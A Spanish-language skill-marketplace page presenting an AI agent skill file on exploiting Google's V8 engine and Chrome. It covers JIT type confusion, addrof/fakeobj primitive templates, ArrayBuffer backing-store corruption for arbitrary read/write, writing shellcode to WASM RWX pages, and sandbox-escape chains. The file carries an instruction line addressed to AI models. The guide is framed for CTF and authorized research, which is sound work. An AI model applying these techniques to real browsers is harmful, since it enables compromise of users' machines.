opción
HogarHogar Skill Automatización del navegador browser-exploitation-v8

browser-exploitation-v8

yaklang/hack-skills yaklang/hack-skills

Guía práctica para la explotación de navegadores y V8. Utilízala para explotar vulnerabilidades del motor de JavaScript, como la confusión de tipos JIT, la eliminación incorrecta de límites y el bypass del entorno de pruebas de V8, con el fin de lograr la ejecución de código remoto (RCE) en el renderizador y escapar del entorno de pruebas en Chrome/Chromium.

...Expandir todo
17
Tiempo actualizado 25 de agosto de 2026

Acerca de browser-exploitation-v8

Una guía de pruebas de seguridad para explotar vulnerabilidades del motor de JavaScript en V8 de Google (Chrome/Chromium). Describe el proceso de compilación de V8: el código fuente se analiza en un árbol sintáctico abstraído (AST), se interpreta como código byte de Ignition y, a continuación, se optimiza progresivamente a través de Sparkplug, Maglev y el JIT optimizador TurboFan, con desoptimización de vuelta al código byte cuando falla la especulación. También se documentan los aspectos internos fundamentales: punteros etiquetados (SMI y objetos del montón), la compresión de punteros que accedió a los objetos mediante un desplazamiento de 32 bits desde una base de jaula dentro de una región de 4 GB, los Maps (clases ocultas), los tipos de elementos, la barrera de escritura y el recolector de basura Orinoco.

La mayor parte del material cataloga clases comunes de errores y las primitivas utilizadas para explotarlos. Las clases de errores incluyen la confusión de tipos en el JIT, la eliminación incorrecta de comprobaciones de límites, la confusión en la cadena de prototipos, errores de reducción y de tipificación en TurboFan, condiciones de carrera en SharedArrayBuffer y errores «off-by-one» en funciones integradas. A partir de un error de corrupción de memoria, construye las primitivas clásicas «addrof» y «fakeobj» (mediante la confusión entre matrices de objetos y de elementos dobles), se expande hasta permitir lecturas y escrituras arbitrarias a través de un almacén de respaldo Float64Array o ArrayBuffer corrompido, y abarca el acceso fuera de límites mediante límites de matriz confusos y páginas RWX de WASM.

Úsalo al investigar o reproducir cadenas de RCE (ejecución remota de código) del renderizador y de escape del entorno de pruebas en un entorno controlado y autorizado. Explica cómo forzar la optimización JIT (llamando a una función muchas veces, o mediante la intrínseca %OptimizeFunctionOnNextCall en d8) y cómo el entorno de pruebas de V8 y la compresión de punteros limitan la explotación, ya que los punteros del almacén de respaldo permanecen dentro del entorno de pruebas y se necesita una fuga separada del mismo para obtener acceso completo a la memoria del proceso. Los enlaces relacionados apuntan a técnicas de escape del entorno de pruebas, explotación del montón, desbordamiento de pila y ROP, y elusión de la protección de binarios, con una referencia más detallada en V8_EXPLOITATION_PATTERNS.md.

Preguntas frecuentes

¿Qué clases de errores de V8 abarca este manual?

Confusión de tipos JIT, eliminación incorrecta de comprobaciones de límites, confusión de cadenas de prototipos, errores de reducción y de tipos en TurboFan, condiciones de carrera en SharedArrayBuffer y errores «off-by-one» en funciones integradas.

¿Cuáles son las primitivas de explotación principales que describe?

addrof (filtrar la dirección de un objeto) y fakeobj (fabricar una referencia a un objeto), creadas mediante la confusión entre matrices de elementos de tipo objeto y de tipo doble, que luego se combinan para realizar lecturas y escrituras arbitrarias a través de un almacén de respaldo Float64Array o ArrayBuffer dañado.

¿Cómo afectan el entorno de ejecución aislado (sandbox) y la compresión de punteros de V8 a la explotación?

Dado que, a partir de V8 8.0, los objetos se direccionan mediante un desplazamiento de 32 bits desde una base de jaula dentro de una región de 4 GB, y los almacenes de respaldo de ArrayBuffer son punteros de sandbox, obtener acceso completo a la memoria del proceso requiere un escape de sandbox independiente.

¿Cómo se fuerza la optimización JIT de una función para realizar pruebas?

Llámala muchas veces (por ejemplo, 100 000 iteraciones) para activar TurboFan, o en el shell de d8 utiliza la intrínseca %OptimizeFunctionOnNextCall antes de llamarla.

¿A qué habilidades relacionadas hace referencia?

técnicas de escape del entorno aislado (escape del renderizador IPC/Mojo), explotación del montón, desbordamiento de pila y ROP, y elusión de la protección de binarios, además de una referencia avanzada en V8_EXPLOITATION_PATTERNS.md con plantillas detalladas.

Todos los archivos

2archivos V8_EXPLOITATION_PATTERNS.md 8,9KB Ver SKILL.md 11,5 KB Ver
Ver en GitHub

AI LOAD INSTRUCTION: Expert V8/Chrome exploitation techniques. Covers V8 compilation pipeline, JIT type confusion, addrof/fakeobj primitives, ArrayBuffer corruption, WASM RWX pages, V8 sandbox (pointer compression), and Chrome sandbox escape overview. Distilled from ctf-wiki browser sections, Project Zero research, and CTF competition patterns. Base models often confuse V8 object representation details and miss the pointer compression barrier.

0. RELATED ROUTING

  • sandbox-escape-techniques — Chrome renderer sandbox escape via IPC/Mojo
  • heap-exploitation — general heap concepts applicable to V8 heap
  • stack-overflow-and-rop — ROP concepts for native code execution after V8 escape
  • binary-protection-bypass — ASLR/NX bypass in browser context

Advanced Reference

Load V8_EXPLOITATION_PATTERNS.md when you need:

  • Detailed exploitation patterns and code templates
  • Heap layout manipulation and GC interaction
  • V8 sandbox bypass techniques
  • Object map confusion patterns

1. V8 ARCHITECTURE

Compilation Pipeline

JavaScript Source    ↓ Parser  AST (Abstract Syntax Tree)    ↓ Ignition  Bytecode (interpreted, profiling)    ↓ Sparkplug (non-optimizing baseline, V8 ≥ 9.1)  Baseline code (fast startup)    ↓ Maglev (mid-tier, V8 ≥ 10.2)  Mid-optimized code    ↓ TurboFan (optimizing JIT)  Optimized machine code (with speculative optimizations)    ↓ Deoptimization (if speculation fails)  Back to Ignition bytecode

Key V8 Concepts

ConceptDescription
Tagged pointersSMI (Small Integer): value << 1, HeapObject: ptr | 1
Pointer compressionV8 ≥ 8.0: objects addressed via 32-bit offset from cage base (4GB sandbox)
Maps (Hidden Classes)Define object shape: property names, types, offsets
Elements kindsInternal array type: PACKED_SMI_ELEMENTS, PACKED_DOUBLE_ELEMENTS, PACKED_ELEMENTS, etc.
Write barrierGC bookkeeping when heap pointers are written
Garbage collectionOrinoco GC: minor (Scavenge) and major (Mark-Compact)

Object Representation (64-bit, pointer compression)

HeapObject in V8 heap (compressed):  +0x00: Map pointer (compressed, 32-bit offset)  +0x04: Properties/Hash  +0x08: Elements pointer (compressed)  +0x0C: Length (for arrays)  +0x10: Inline properties or backing store data

2. COMMON V8 BUG CLASSES

Bug ClassDescriptionExample
JIT Type ConfusionTurboFan assumes wrong type after optimizationSpeculative type guard eliminated, wrong operation applied
Incorrect Bounds EliminationJIT removes array bounds check based on wrong range analysisCheckBounds node eliminated → OOB access
Prototype Chain ConfusionOptimization assumes stable prototype, mutations invalidatePrototype change after optimization → wrong property access
Turbofan Reduction BugIncorrect strength reduction or constant foldingInteger overflow in range analysis
Race ConditionSharedArrayBuffer + worker thread raceType confusion via concurrent modification
Off-by-one in BuiltinBoundary error in built-in function implementationString/Array bounds
Typer BugIncorrect type range computation in TurboFanTyper says value is in [0, N] but can be N+1

Triggering JIT Optimization

function vuln(arr) {    // ... vulnerable code path ...}// Force optimization by calling many timesfor (let i = 0; i < 100000; i++) {    vuln(arr);}// Or use V8 intrinsics (d8 only):%OptimizeFunctionOnNextCall(vuln);vuln(arr);

3. EXPLOITATION PRIMITIVES

addrof — Leak Object Address

// Goal: get the raw heap address of a JavaScript object// Method: type confusion between object array and float array// If we can confuse PACKED_ELEMENTS array with PACKED_DOUBLE_ELEMENTS:// - Write object reference to element of object array// - Read same element as double from confused float array// - Float bits = compressed pointer of the objectfunction addrof(obj) {    // Setup depends on specific bug    // Typically: trigger type confusion so array reads obj ref as float    object_array[0] = obj;    return ftoi(confused_float_array[0]);  // float-to-int conversion}

fakeobj — Create Fake Object Reference

// Goal: create a JS reference to an arbitrary heap address// Method: reverse of addrof — write float (raw pointer bits) to float array,//         read from confused object array → treated as object referencefunction fakeobj(addr) {    confused_float_array[0] = itof(addr);  // int-to-float conversion    return object_array[0];                 // now a "pointer" to addr}

Building Arbitrary R/W from addrof + fakeobj

// 1. Create a Float64Array with known layoutlet rw_array = new Float64Array(0x100);let rw_array_addr = addrof(rw_array);// 2. Fake a Float64Array object at controlled address with modified backing_store// 3. Corrupt backing_store pointer to target address// 4. Read/write through the fake Float64Array → arbitrary R/Wfunction read64(addr) {    // Set fake array's backing_store = addr    write_to_fake_backingstore(addr);    return fake_float64array[0];}function write64(addr, value) {    write_to_fake_backingstore(addr);    fake_float64array[0] = value;}

4. OOB READ/WRITE VIA CONFUSED ARRAY BOUNDS

When TurboFan incorrectly eliminates bounds checks:

function trigger(arr, idx) {    // TurboFan thinks idx is always < arr.length    // But due to bug, idx can exceed bounds    return arr[idx];  // OOB read}// OOB read adjacent memory (next heap object's metadata)// OOB write to corrupt next object's map/elements/length

What's Adjacent in V8 Heap?

Objects are allocated sequentially in V8's young generation (new space). By controlling allocation order:

let arr1 = new Array(0x10);    // spray objectlet arr2 = new Float64Array(0x10);  // target: adjacent to arr1// OOB from arr1 can reach arr2's metadata// Corrupt arr2's length → unconstrained OOB on arr2

5. ARRAYBUFFER ARBITRARY R/W

ArrayBuffer's backing store is a raw pointer to allocated memory. Corrupting it gives absolute memory R/W.

let ab = new ArrayBuffer(0x100);let view = new DataView(ab);// If we can overwrite ab's backing_store pointer:// ab.backing_store = target_addr// view.getFloat64(0) → reads 8 bytes from target_addr// view.setFloat64(0, val) → writes to target_addr

V8 Sandbox (Pointer Compression) Impact

Since V8 ≥ 8.0 (pointer compression) and V8 sandbox (≥ 11.x):

  • ArrayBuffer.backing_store is a sandbox pointer (within the V8 cage, 4GB region)
  • Cannot directly point outside the V8 cage
  • Need sandbox escape to get full process memory access

6. WASM RWX PAGE

WebAssembly JIT code is placed on RWX (Read-Write-Execute) pages on some platforms.

// Allocate WASM module → JIT compiles to RWX pagelet wasm_code = new Uint8Array([0x00, 0x61, 0x73, 0x6d, ...]);let mod = new WebAssembly.Module(wasm_code);let instance = new WebAssembly.Instance(mod);// instance.exports.func → points to RWX page// If we can find and write to this page:// 1. addrof(instance) → find WASM instance object// 2. Follow pointers: instance → jump_table_start → RWX page// 3. Use arbitrary write to overwrite RWX page with shellcode// 4. Call instance.exports.func() → executes shellcode

Modern Chrome: W^X enforcement means WASM pages are either RW or RX, not RWX simultaneously. JIT code is written in RW mode, then switched to RX. Exploitation requires finding a write window or using JIT spray.

7. V8 SANDBOX

Architecture (V8 ≥ 11.x)

Process Virtual Address Space:┌──────────────────────────────────────┐│  V8 Sandbox Cage (4GB region)        ││  ├── V8 Heap (JS objects)            ││  ├── ArrayBuffer backing stores      ││  ├── WASM memory                     ││  └── External pointer table          │├──────────────────────────────────────┤│  Process memory outside cage         ││  ├── libc, Chrome code               ││  ├── Stack                           ││  └── Other allocations               │└──────────────────────────────────────┘

Sandbox Escape Vectors

VectorMethod
External pointer tableCorrupt entries in the external pointer table to reference arbitrary addresses
WASM code pointerOverwrite WASM function entry to jump to controlled shellcode
JIT code corruptionWrite to JIT code page via race condition or confused pointer
Mojo IPC (Chrome)Exploit Chrome IPC to attack browser process from compromised renderer
Backing store seal bypassFind type confusion to get unsandboxed pointer

8. CHROME SANDBOX ESCAPE (OVERVIEW)

After renderer RCE (via V8 exploit), the process is still sandboxed. Full compromise requires:

StageTargetExample
Renderer exploitV8 / Blink DOMType confusion → shellcode
IPC/Mojo bugChrome IPC layerUse-after-free in Mojo interface
Browser process exploitPrivileged browser processCode execution outside sandbox

Mojo interfaces (Chrome's IPC) expose attack surface: find UAF or type confusion in Mojo message handlers.

9. TOOLS

# V8 debuggingd8 --allow-natives-syntax exploit.js  # Enable V8 intrinsics (%DebugPrint, etc.)d8 --trace-turbo exploit.js           # Dump TurboFan IRd8 --print-opt-code exploit.js        # Print optimized machine code# Turbolizer: visual TurboFan IR graph# Chrome DevTools Memory panel: heap snapshots# Build V8 for debugginggit clone https://chromium.googlesource.com/v8/v8.gitgclient syncgn gen out/debug --args='is_debug=true v8_enable_sandbox=false'ninja -C out/debug d8

10. DECISION TREE

V8 vulnerability identified├── Bug type?│   ├── JIT type confusion → trigger optimization, confuse array element kinds│   ├── Bounds check elimination → OOB read/write on array│   ├── Typer bug → incorrect range leads to OOB│   └── Builtin bug → direct memory corruption primitive│├── Build primitives│   ├── Can confuse object array ↔ float array?│   │   └── addrof + fakeobj → arbitrary R/W within V8 heap│   ├── OOB on array?│   │   └── Corrupt adjacent object (length/backing_store) → expand to full R/W│   └── Direct write primitive?│       └── Target WASM instance or ArrayBuffer metadata│├── V8 sandbox enabled?│   ├── YES (modern Chrome) →│   │   ├── R/W limited to V8 cage (4GB)│   │   ├── Need sandbox escape: external pointer table corruption,│   │   │   WASM code pointer overwrite, or Mojo bug│   │   └── Then proceed to shellcode execution│   └── NO (older V8, CTF, d8) →│       ├── Corrupt ArrayBuffer backing_store → absolute R/W│       └── Overwrite WASM RWX page → shellcode│├── Code execution method│   ├── WASM RWX page available? → write shellcode, call WASM func│   ├── JIT code writable? → overwrite JIT code│   └── ROP needed? → corrupt stack or return address│└── Full browser exploit chain    ├── Stage 1: V8 bug → renderer RCE    ├── Stage 2: Mojo IPC bug → browser process compromise    └── Stage 3: OS-level escalation (if needed)

Todos los archivos

2 archivos
SKILL.md 12.2k
Ver

Instalar browser-exploitation-v8

Descarga y descomprime los archivos de habilidades en el directorio .claude/skills/.

Descargar ZIP

Clona el repositorio y copia los archivos de la habilidad a tu proyecto.

git clone https://github.com/yaklang/hack-skills/blob/main/skills/browser-exploitation-v8/SKILL.md # Copy SKILL.md to your .claude/skills/ directory

Copiar Copiar
Configuración rápida: Copia la carpeta de la habilidad en .claude/skills/. Claude la detectará automáticamente y la utilizará.
Repositorio yaklang/hack-skills

Habilidades relacionadas

playwright-cli
Tiempo actualizado 29 de junio de 2026
frontend-testing-best-practices
Tiempo actualizado 7 de julio de 2026
Playwright Browser Automation
Tiempo actualizado 29 de junio de 2026
playwright-generate-test
Tiempo actualizado 29 de junio de 2026
OR